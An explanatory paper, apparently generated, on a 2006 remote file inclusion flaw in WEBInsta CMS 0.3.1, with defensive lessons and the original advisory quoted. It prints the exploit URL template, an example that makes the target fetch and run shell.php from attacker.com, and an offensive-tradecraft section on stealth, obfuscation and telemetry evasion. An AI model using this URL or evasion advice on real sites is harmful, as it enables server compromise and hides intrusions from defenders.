Understanding the WEBInsta CMS 0.3.1 Remote File Inclusion Vulnerability

What this paper is

This paper describes a security vulnerability found in WEBInsta CMS version 0.3.1. The vulnerability, identified as a Remote File Inclusion (RFI), allows an attacker to trick the web application into including and executing arbitrary files from a remote server. This can lead to code execution on the web server.

Simple technical breakdown

The vulnerability exists in the users.php file within the usersonline module of WEBInsta CMS. This file is designed to include external modules based on a parameter called module_dir. However, it doesn't properly sanitize the input provided to module_dir.

An attacker can exploit this by providing a URL to a malicious file hosted on their own server as the value for module_dir. The vulnerable script will then attempt to fetch and execute this remote file as if it were a legitimate part of the CMS.

Complete code and payload walkthrough

The provided exploit is a URL. There is no executable code or shellcode in the traditional sense within the exploit description itself. The "payload" is the content of the remote file that the attacker hosts.

Exploit URL Structure:

http://[HOST]/[PATH]/modules/usersonline/users.php?module_dir=[REMOTE_FILE]

• http://[HOST]/[PATH]/: This is the base URL of the vulnerable WEBInsta CMS installation.
  • [HOST]: The IP address or domain name of the web server hosting the CMS.
  • [PATH]: The directory path where the WEBInsta CMS is installed on the server.
• modules/usersonline/users.php: This is the specific vulnerable script.
• ?module_dir=[REMOTE_FILE]: This is the query string parameter that triggers the vulnerability.
  • module_dir: The parameter name that the users.php script uses to determine which module to load.
  • [REMOTE_FILE]: This is the crucial part. It's a URL pointing to a file on an attacker-controlled server.

How it works (Conceptual):

1. The attacker crafts a URL like the one above.
2. The attacker hosts a malicious file (e.g., a PHP script that executes commands) on their own server. Let's call this malicious.txt or shell.php.
3. The attacker sets [REMOTE_FILE] to the URL of their malicious file (e.g., http://attacker.com/shell.php).
4. When a victim or the web server itself accesses the crafted URL, the users.php script will try to include the content of http://attacker.com/shell.php.
5. If the web server's PHP configuration allows allow_url_include and allow_url_fopen (or similar functions are used without proper checks), the content of shell.php will be executed on the web server.

Mapping list:

• Exploit URL Structure -> Practical purpose: To construct a request that targets the vulnerable script and directs it to fetch and execute remote content.
• [REMOTE_FILE] parameter -> Practical purpose: The injection point for the attacker's malicious file URL.
• Remote File Content (e.g., shell.php) -> Practical purpose: The actual malicious code that will be executed on the target server. This could be a web shell for command execution, a backdoor, or any other arbitrary PHP code.

No explicit code or shellcode bytes are provided in the original paper to analyze beyond the exploit URL format. The "payload" is entirely determined by what the attacker chooses to host at [REMOTE_FILE].

Practical details for offensive operations teams

• Required Access Level: Typically requires unauthenticated access to the web application. The vulnerability is client-side exploitable via a crafted URL.
• Lab Preconditions:
  • A target system running WEBInsta CMS 0.3.1 (or a similarly vulnerable version).
  • A separate attacker-controlled server to host the malicious payload (e.g., a simple PHP web shell).
  • Network connectivity between the target and the attacker's payload server.
• Tooling Assumptions:
  • A web browser to craft and send requests.
  • A simple web server (e.g., Python's http.server, Apache, Nginx) to host the payload.
  • A text editor to create the payload file.
• Execution Pitfalls:
  • allow_url_include / allow_url_fopen disabled: Modern PHP configurations often disable allow_url_include for security reasons, which is critical for RFI. allow_url_fopen might also be disabled. If either is disabled, this specific RFI vector will not work.
  • Input Sanitization on the Server: While the paper indicates a lack of sanitization, some server-side configurations or other security measures might still filter or block requests to external URLs.
  • Firewall/Network Restrictions: The target server might have outbound firewall rules preventing it from connecting to the attacker's payload server.
  • Incorrect Path/Host: Typos in the [HOST], [PATH], or the [REMOTE_FILE] URL will lead to failure.
  • Payload File Type: The target server's web server might block execution of files with extensions like .txt if they are not configured to execute PHP. Using a .php extension for the payload is generally more reliable.
  • Module Inclusion Logic: The users.php script might have internal checks that prevent inclusion if the module_dir doesn't conform to certain patterns, even if RFI is possible. This is unknown without deeper analysis of the original users.php code.
• Tradecraft Considerations:
  • Stealth: Using a legitimate-looking domain for the payload server can help evade initial network detection.
  • Payload Obfuscation: If the payload is detected by IDS/IPS, obfuscating the PHP code can be necessary.
  • Post-Exploitation: Once a web shell is established, the attacker can then pivot to other systems or escalate privileges.
  • Telemetry Evasion: The primary telemetry would be outbound HTTP requests from the target server to the attacker's server. This can be masked by using common ports or mimicking legitimate traffic.

Where this was used and when

• Context: This vulnerability was relevant for web applications built with WEBInsta CMS 0.3.1. Such CMS platforms were common for creating websites and online portals.
• Approximate Years/Dates: The exploit was published on August 15, 2006. Therefore, its active exploitation period would likely be around 2006 and the years immediately following, until the vulnerability was patched or the CMS version became obsolete.

Defensive lessons for modern teams

• Input Validation is Paramount: Always validate and sanitize user-supplied input, especially when it's used in file paths, database queries, or external requests. Never trust user input.
• Disable allow_url_include and allow_url_fopen: These PHP directives are extremely dangerous when enabled and should be disabled in production environments unless absolutely necessary and with extreme caution.
• Principle of Least Privilege: Web servers should not have broad outbound network access. Restrict outbound connections to only necessary destinations.
• Regular Patching and Updates: Keep all web applications, CMS platforms, and their underlying software (like PHP) updated to the latest secure versions.
• Web Application Firewalls (WAFs): A WAF can help detect and block common RFI patterns, though sophisticated attacks might bypass them.
• Secure Coding Practices: Train developers on secure coding principles, including avoiding insecure functions and understanding common vulnerability types like RFI.
• File Inclusion Safeguards: If file inclusion is a necessary feature, implement strict whitelisting of allowed file paths and ensure that only trusted, locally stored files are included.

ASCII visual (if applicable)

This vulnerability involves a direct request-response flow with an external resource. An ASCII diagram can illustrate this:

+-----------------+       +----------------------+       +--------------------+
| Attacker's      | ----> | Target Web Server    | ----> | Attacker's Payload |
| Machine         |       | (WEBInsta CMS)       |       | Server             |
| (Crafts URL)    |       |                      |       | (Hosts malicious    |
+-----------------+       | 1. Sends malicious   |       | file)              |
                          |    request           |       +--------------------+
                          |                      |
                          | 2. Receives and      |
                          |    executes remote   |
                          |    file content      |
                          +----------------------+

Explanation:

1. The attacker crafts a malicious URL and sends it to the target web server.
2. The target web server, running the vulnerable WEBInsta CMS, processes the request.
3. The vulnerable script (users.php) makes an outbound HTTP request to the attacker's server to fetch the file specified in module_dir.
4. The attacker's server responds with the malicious file content.
5. The target web server includes and executes this malicious content, leading to compromise.

Source references

• Paper URL: https://www.exploit-db.com/papers/2189
• Exploit-DB Raw URL: https://www.exploit-db.com/raw/2189
• Vulnerable Product: WEBInsta CMS 0.3.1 (http://www.webinsta.com/download.html)
• Author: Yns (yns.zaxaz.com)
• Publication Date: 2006-08-15

Original Exploit-DB Content (Verbatim)

/*
Vulnerable product : http://www.webinsta.com/download.html ( WEBInsta. CMS 0.3.1 )
Author : Yns - yns.zaxaz.com
*/

Exploit:
http://[HOST]/[PATH]/modules/usersonline/users.php?module_dir=[REMOTE_FILE]

# milw0rm.com [2006-08-15]